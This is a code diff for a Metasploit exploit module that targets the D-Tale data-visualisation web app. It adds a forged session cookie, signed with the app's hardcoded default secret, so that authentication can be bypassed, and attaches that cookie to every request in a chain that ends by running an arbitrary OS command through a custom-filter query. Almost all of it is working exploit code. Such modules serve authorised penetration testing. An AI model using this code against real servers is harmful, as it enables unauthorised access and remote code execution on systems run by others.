@@ -9,6 +9,14 @@ class MetasploitModule < Msf::Exploit::Remote
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
10
prepend Msf ::Exploit ::Remote ::AutoCheck
11
11
12
+ # forge a cookie in case there was authentication enabled:
13
+ # import hashlib
14
+ # from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
15
+ # signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
16
+ # ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
17
+ # session = ser.dumps({"logged_in" : True, "username" : "whatever"})
18
+ SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc'
19
+
12
20
def initialize ( info = { } )
13
21
super (
14
22
update_info (
@@ -67,7 +75,10 @@ def initialize(info = {})
67
75
def check
68
76
res = send_request_cgi ( {
69
77
'method' => 'GET' ,
70
- 'uri' => normalize_uri ( target_uri . path , 'dtale/popup/upload' )
78
+ 'uri' => normalize_uri ( target_uri . path , 'dtale/popup/upload' ) ,
79
+ 'headers' => {
80
+ 'Cookie' => "session=#{ SESSION } " # Set the JWT token as a cookie
81
+ }
71
82
} )
72
83
return Exploit ::CheckCode ::Unknown unless res &.code == 200
73
84
@@ -103,7 +114,10 @@ def exploit
103
114
'method' => 'POST' ,
104
115
'uri' => normalize_uri ( target_uri . path , 'dtale/upload' ) ,
105
116
'ctype' => "multipart/form-data; boundary=#{ mime . bound } " ,
106
- 'data' => mime . to_s
117
+ 'data' => mime . to_s ,
118
+ 'headers' => {
119
+ 'Cookie' => "session=#{ SESSION } " # Set the JWT token as a cookie
120
+ }
107
121
} )
108
122
@data_id = res &.get_json_document &.fetch ( 'data_id' , nil )
109
123
fail_with ( Failure ::Unknown , 'Failed to get data_id from response.' ) unless @data_id
@@ -114,6 +128,9 @@ def exploit
114
128
'uri' => normalize_uri ( target_uri . path , "dtale/update-settings/#{ @data_id } " ) ,
115
129
'vars_get' => {
116
130
'settings' => { 'enable_custom_filters' => true } . to_json
131
+ } ,
132
+ 'headers' => {
133
+ 'Cookie' => "session=#{ SESSION } " # Set the JWT token as a cookie
117
134
}
118
135
} )
119
136
fail_with ( Failure ::Unknown , 'Failed to update the settings.' ) unless res &.get_json_document &.fetch ( 'success' , nil )
@@ -125,6 +142,9 @@ def exploit
125
142
'vars_get' => {
126
143
'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{ payload . encoded } ')" ,
127
144
'save' => true
145
+ } ,
146
+ 'headers' => {
147
+ 'Cookie' => "session=#{ SESSION } " # Set the JWT token as a cookie
128
148
}
129
149
} )
130
150
print_status ( 'Successfully executed the payload.' )
@@ -139,6 +159,9 @@ def cleanup
139
159
'uri' => normalize_uri ( target_uri . path , 'dtale/cleanup-datasets' ) ,
140
160
'vars_get' => {
141
161
'dataIds' => @data_id
162
+ } ,
163
+ 'headers' => {
164
+ 'Cookie' => "session=#{ SESSION } " # Set the JWT token as a cookie
142
165
}
143
166
} )
144
167
print_status ( "Failed to clean up data_id: #{ @data_id } " ) unless res &.get_json_document &.fetch ( 'success' , nil )
0 commit comments